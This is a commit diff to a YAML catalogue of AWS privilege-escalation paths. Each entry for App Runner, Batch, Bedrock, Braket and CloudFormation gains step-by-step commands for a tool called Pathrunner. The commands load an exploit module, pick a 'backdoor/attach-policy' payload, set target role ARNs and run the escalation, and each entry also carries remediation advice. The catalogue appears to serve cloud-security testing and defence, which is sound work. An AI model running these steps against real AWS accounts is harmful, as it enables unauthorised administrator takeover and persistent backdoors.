Add Pathrunner exploitation steps and rework the module page layout

data/paths/aws/apprunner/apprunner-001.yaml

@@ -46,6 +46,25 @@ exploitationSteps:
   - step: 5
     command: aws iam list-users --max-items 3
     description: Verify administrator access by listing IAM users (should now succeed)
+  pathrunner:
+  - step: 1
+    command: pathrunner use apprunner-001
+    description: Load the apprunner-001 exploit module in Pathrunner.
+  - step: 2
+    command: pathrunner show payloads
+    description: List the payloads compatible with this module.
+  - step: 3
+    command: pathrunner set PAYLOAD backdoor/attach-policy
+    description: Select the backdoor/attach-policy payload.
+  - step: 4
+    command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName
+    description: Set the ROLE_ARN option (replace the placeholder with your target's real value).
+  - step: 5
+    command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName
+    description: Set the TARGET_ARN option (replace the placeholder with your target's real value).
+  - step: 6
+    command: pathrunner exploit
+    description: Execute the privilege escalation.
 recommendation: |
   High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.
 

data/paths/aws/apprunner/apprunner-002.yaml

@@ -46,6 +46,22 @@ exploitationSteps:
   - step: 7
     command: aws iam list-users --max-items 3
     description: Verify administrator access by listing IAM users (should now succeed)
+  pathrunner:
+  - step: 1
+    command: pathrunner use apprunner-002
+    description: Load the apprunner-002 exploit module in Pathrunner.
+  - step: 2
+    command: pathrunner show payloads
+    description: List the payloads compatible with this module.
+  - step: 3
+    command: pathrunner set PAYLOAD backdoor/attach-policy
+    description: Select the backdoor/attach-policy payload.
+  - step: 4
+    command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName
+    description: Set the TARGET_ARN option (replace the placeholder with your target's real value).
+  - step: 5
+    command: pathrunner exploit
+    description: Execute the privilege escalation.
 recommendation: |
   Restrict the `apprunner:UpdateService` permission using resource-based constraints.
 

data/paths/aws/batch/batch-001.yaml

@@ -79,6 +79,31 @@ exploitationSteps:
         aws iam list-attached-user-policies \
           --user-name STARTING_USER
       description: Verify privilege escalation success by confirming AdministratorAccess is now attached to the starting user.
+  pathrunner:
+    - step: 1
+      command: pathrunner use batch-001
+      description: Load the batch-001 exploit module in Pathrunner.
+    - step: 2
+      command: pathrunner show payloads
+      description: List the payloads compatible with this module.
+    - step: 3
+      command: pathrunner set PAYLOAD backdoor/attach-policy
+      description: Select the backdoor/attach-policy payload.
+    - step: 4
+      command: pathrunner set ADMIN_ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName
+      description: Set the ADMIN_ROLE_ARN option (replace the placeholder with your target's real value).
+    - step: 5
+      command: pathrunner set EXECUTION_ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName
+      description: Set the EXECUTION_ROLE_ARN option (replace the placeholder with your target's real value).
+    - step: 6
+      command: pathrunner set JOB_QUEUE target-batch-job-queue
+      description: Set the JOB_QUEUE option (replace the placeholder with your target's real value).
+    - step: 7
+      command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName
+      description: Set the TARGET_ARN option (replace the placeholder with your target's real value).
+    - step: 8
+      command: pathrunner exploit
+      description: Execute the privilege escalation.
 
 recommendation: |
   High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.

data/paths/aws/batch/batch-002.yaml

@@ -65,6 +65,28 @@ exploitationSteps:
         aws iam list-attached-user-policies \
           --user-name STARTING_USER
       description: Verify that AdministratorAccess is now attached to the starting user.
+  pathrunner:
+    - step: 1
+      command: pathrunner use batch-002
+      description: Load the batch-002 exploit module in Pathrunner.
+    - step: 2
+      command: pathrunner show payloads
+      description: List the payloads compatible with this module.
+    - step: 3
+      command: pathrunner set PAYLOAD backdoor/attach-policy
+      description: Select the backdoor/attach-policy payload.
+    - step: 4
+      command: pathrunner set JOB_DEFINITION target-job-definition:1
+      description: Set the JOB_DEFINITION option (replace the placeholder with your target's real value).
+    - step: 5
+      command: pathrunner set JOB_QUEUE target-batch-job-queue
+      description: Set the JOB_QUEUE option (replace the placeholder with your target's real value).
+    - step: 6
+      command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName
+      description: Set the TARGET_ARN option (replace the placeholder with your target's real value).
+    - step: 7
+      command: pathrunner exploit
+      description: Execute the privilege escalation.
 
 recommendation: |
   - **Restrict `batch:SubmitJob`** - This is the core attack permission. Only trusted principals that have a legitimate need to trigger Batch workloads should have this permission. Even without `iam:PassRole`, job submission is a powerful action when privileged job definitions exist.

data/paths/aws/batch/batch-003.yaml

@@ -112,6 +112,34 @@ exploitationSteps:
         aws iam list-attached-user-policies \
           --user-name STARTING_USER
       description: Verify that AdministratorAccess is now attached to the starting user.
+  pathrunner:
+    - step: 1
+      command: pathrunner use batch-003
+      description: Load the batch-003 exploit module in Pathrunner.
+    - step: 2
+      command: pathrunner show payloads
+      description: List the payloads compatible with this module.
+    - step: 3
+      command: pathrunner set PAYLOAD backdoor/attach-policy
+      description: Select the backdoor/attach-policy payload.
+    - step: 4
+      command: pathrunner set ADMIN_ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName
+      description: Set the ADMIN_ROLE_ARN option (replace the placeholder with your target's real value).
+    - step: 5
+      command: pathrunner set EXECUTION_ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName
+      description: Set the EXECUTION_ROLE_ARN option (replace the placeholder with your target's real value).
+    - step: 6
+      command: pathrunner set SUBNET_ID subnet-0123456789abcdef0
+      description: Set the SUBNET_ID option (replace the placeholder with your target's real value).
+    - step: 7
+      command: pathrunner set SECURITY_GROUP_ID sg-0123456789abcdef0
+      description: Set the SECURITY_GROUP_ID option (replace the placeholder with your target's real value).
+    - step: 8
+      command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName
+      description: Set the TARGET_ARN option (replace the placeholder with your target's real value).
+    - step: 9
+      command: pathrunner exploit
+      description: Execute the privilege escalation.
 
 recommendation: |
   High powered service roles + overly permissive `iam:PassRole` combined with the ability to build an entire Batch pipeline from scratch is what makes this privilege escalation path exploitable and especially dangerous, since no pre-existing Batch infrastructure is required.

data/paths/aws/bedrock/bedrock-001.yaml

@@ -103,6 +103,25 @@ exploitationSteps:
 
       '
     description: Use the stolen credentials to assume the privileged role's permissions
+  pathrunner:
+  - step: 1
+    command: pathrunner use bedrock-001
+    description: Load the bedrock-001 exploit module in Pathrunner.
+  - step: 2
+    command: pathrunner show payloads
+    description: List the payloads compatible with this module.
+  - step: 3
+    command: pathrunner set PAYLOAD backdoor/attach-policy
+    description: Select the backdoor/attach-policy payload.
+  - step: 4
+    command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName
+    description: Set the ROLE_ARN option (replace the placeholder with your target's real value).
+  - step: 5
+    command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName
+    description: Set the TARGET_ARN option (replace the placeholder with your target's real value).
+  - step: 6
+    command: pathrunner exploit
+    description: Execute the privilege escalation.
 recommendation: |
   High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.
 

data/paths/aws/bedrock/bedrock-002.yaml

@@ -69,6 +69,25 @@ exploitationSteps:
 
       '
     description: Use the stolen credentials to assume the privileged role's permissions
+  pathrunner:
+  - step: 1
+    command: pathrunner use bedrock-002
+    description: Load the bedrock-002 exploit module in Pathrunner.
+  - step: 2
+    command: pathrunner show payloads
+    description: List the payloads compatible with this module.
+  - step: 3
+    command: pathrunner set PAYLOAD backdoor/attach-policy
+    description: Select the backdoor/attach-policy payload.
+  - step: 4
+    command: pathrunner set INTERPRETER_ID target-interpreter-id
+    description: Set the INTERPRETER_ID option (replace the placeholder with your target's real value).
+  - step: 5
+    command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName
+    description: Set the TARGET_ARN option (replace the placeholder with your target's real value).
+  - step: 6
+    command: pathrunner exploit
+    description: Execute the privilege escalation.
 recommendation: |
   Restrict the `bedrock-agentcore:StartCodeInterpreterSession` and `bedrock-agentcore:InvokeCodeInterpreter` permissions using resource-based constraints.
 

data/paths/aws/bedrock/bedrock-003.yaml

@@ -109,6 +109,25 @@ exploitationSteps:
 
       '
     description: Use the stolen credentials to act as the runtime execution role
+  pathrunner:
+  - step: 1
+    command: pathrunner use bedrock-003
+    description: Load the bedrock-003 exploit module in Pathrunner.
+  - step: 2
+    command: pathrunner show payloads
+    description: List the payloads compatible with this module.
+  - step: 3
+    command: pathrunner set PAYLOAD backdoor/attach-policy
+    description: Select the backdoor/attach-policy payload.
+  - step: 4
+    command: pathrunner set EXECUTION_ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName
+    description: Set the EXECUTION_ROLE_ARN option (replace the placeholder with your target's real value).
+  - step: 5
+    command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName
+    description: Set the TARGET_ARN option (replace the placeholder with your target's real value).
+  - step: 6
+    command: pathrunner exploit
+    description: Execute the privilege escalation.
 recommendation: |
   High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. The `bedrock-agentcore:InvokeAgentRuntimeCommand` permission then runs arbitrary commands as root inside the runtime microVM, bypassing the agent, model and guardrails.
 

data/paths/aws/bedrock/bedrock-004.yaml

@@ -70,6 +70,25 @@ exploitationSteps:
 
       '
     description: Use the stolen credentials to act as the resource execution role
+  pathrunner:
+  - step: 1
+    command: pathrunner use bedrock-004
+    description: Load the bedrock-004 exploit module in Pathrunner.
+  - step: 2
+    command: pathrunner show payloads
+    description: List the payloads compatible with this module.
+  - step: 3
+    command: pathrunner set PAYLOAD backdoor/attach-policy
+    description: Select the backdoor/attach-policy payload.
+  - step: 4
+    command: pathrunner set TARGET_RUNTIME_ARN arn:aws:bedrock::123456789012:provisioned-model/target-model
+    description: Set the TARGET_RUNTIME_ARN option (replace the placeholder with your target's real value).
+  - step: 5
+    command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName
+    description: Set the TARGET_ARN option (replace the placeholder with your target's real value).
+  - step: 6
+    command: pathrunner exploit
+    description: Execute the privilege escalation.
 recommendation: |
   Restrict `bedrock-agentcore:InvokeAgentRuntimeCommand` using resource-level constraints, and treat it as a command-execution gate equivalent to root on the runtime microVM.
 

data/paths/aws/bedrock/bedrock-005.yaml

@@ -124,6 +124,25 @@ exploitationSteps:
 
       '
     description: Use the stolen credentials to act as the harness execution role
+  pathrunner:
+  - step: 1
+    command: pathrunner use bedrock-005
+    description: Load the bedrock-005 exploit module in Pathrunner.
+  - step: 2
+    command: pathrunner show payloads
+    description: List the payloads compatible with this module.
+  - step: 3
+    command: pathrunner set PAYLOAD backdoor/attach-policy
+    description: Select the backdoor/attach-policy payload.
+  - step: 4
+    command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName
+    description: Set the ROLE_ARN option (replace the placeholder with your target's real value).
+  - step: 5
+    command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName
+    description: Set the TARGET_ARN option (replace the placeholder with your target's real value).
+  - step: 6
+    command: pathrunner exploit
+    description: Execute the privilege escalation.
 recommendation: |
   High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. The `bedrock-agentcore:InvokeAgentRuntimeCommand` permission then runs arbitrary commands as root inside the harness microVM, bypassing the managed agent loop, model and guardrails.
 

data/paths/aws/bedrock/bedrock-006.yaml

@@ -121,6 +121,16 @@ exploitationSteps:
 
       '
     description: Use the stolen credentials to act as the browser execution role
+  pathrunner:
+  - step: 1
+    command: pathrunner use bedrock-006
+    description: Load the bedrock-006 exploit module in Pathrunner.
+  - step: 2
+    command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName
+    description: Set the ROLE_ARN option (replace the placeholder with your target's real value).
+  - step: 3
+    command: pathrunner exploit
+    description: Execute the privilege escalation.
 recommendation: |
   High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.
 

data/paths/aws/bedrock/bedrock-007.yaml

@@ -82,6 +82,16 @@ exploitationSteps:
 
       '
     description: Use the stolen credentials to act as the browser execution role
+  pathrunner:
+  - step: 1
+    command: pathrunner use bedrock-007
+    description: Load the bedrock-007 exploit module in Pathrunner.
+  - step: 2
+    command: pathrunner set BROWSER_ID target-browser-id
+    description: Set the BROWSER_ID option (replace the placeholder with your target's real value).
+  - step: 3
+    command: pathrunner exploit
+    description: Execute the privilege escalation.
 recommendation: |
   Restrict the `bedrock-agentcore:StartBrowserSession` and `bedrock-agentcore:ConnectBrowserAutomationStream` permissions using resource-level constraints.
 

data/paths/aws/braket/braket-001.yaml

@@ -84,6 +84,25 @@ exploitationSteps:
           --query 'status' \
           --output text
       description: Poll job status. Once the job reaches COMPLETED, the privilege escalation has succeeded and AdministratorAccess is attached to the starting user.
+  pathrunner:
+    - step: 1
+      command: pathrunner use braket-001
+      description: Load the braket-001 exploit module in Pathrunner.
+    - step: 2
+      command: pathrunner show payloads
+      description: List the payloads compatible with this module.
+    - step: 3
+      command: pathrunner set PAYLOAD backdoor/attach-policy
+      description: Select the backdoor/attach-policy payload.
+    - step: 4
+      command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName
+      description: Set the ROLE_ARN option (replace the placeholder with your target's real value).
+    - step: 5
+      command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName
+      description: Set the TARGET_ARN option (replace the placeholder with your target's real value).
+    - step: 6
+      command: pathrunner exploit
+      description: Execute the privilege escalation.
 
 recommendation: |
   High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.

data/paths/aws/cloudformation/cloudformation-001.yaml

@@ -28,6 +28,25 @@ exploitationSteps:
   - step: 3
     command: '# Access the newly created resources (e.g., IAM user, Lambda function)'
     description: Use the elevated privileges of the created resources
+  pathrunner:
+  - step: 1
+    command: pathrunner use cloudformation-001
+    description: Load the cloudformation-001 exploit module in Pathrunner.
+  - step: 2
+    command: pathrunner show payloads
+    description: List the payloads compatible with this module.
+  - step: 3
+    command: pathrunner set PAYLOAD backdoor/attach-policy
+    description: Select the backdoor/attach-policy payload.
+  - step: 4
+    command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName
+    description: Set the ROLE_ARN option (replace the placeholder with your target's real value).
+  - step: 5
+    command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName
+    description: Set the TARGET_ARN option (replace the placeholder with your target's real value).
+  - step: 6
+    command: pathrunner exploit
+    description: Execute the privilege escalation.
 recommendation: |
   High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.
 

data/paths/aws/cloudformation/cloudformation-002.yaml

@@ -84,6 +84,25 @@ exploitationSteps:
 
       '
     description: Verify administrator access
+  pathrunner:
+  - step: 1
+    command: pathrunner use cloudformation-002
+    description: Load the cloudformation-002 exploit module in Pathrunner.
+  - step: 2
+    command: pathrunner show payloads
+    description: List the payloads compatible with this module.
+  - step: 3
+    command: pathrunner set PAYLOAD backdoor/attach-policy
+    description: Select the backdoor/attach-policy payload.
+  - step: 4
+    command: pathrunner set STACK_NAME target-cloudformation-stack
+    description: Set the STACK_NAME option (replace the placeholder with your target's real value).
+  - step: 5
+    command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName
+    description: Set the TARGET_ARN option (replace the placeholder with your target's real value).
+  - step: 6
+    command: pathrunner exploit
+    description: Execute the privilege escalation.
 recommendation: |
   Restrict the `cloudformation:UpdateStack` permission using the principle of least privilege.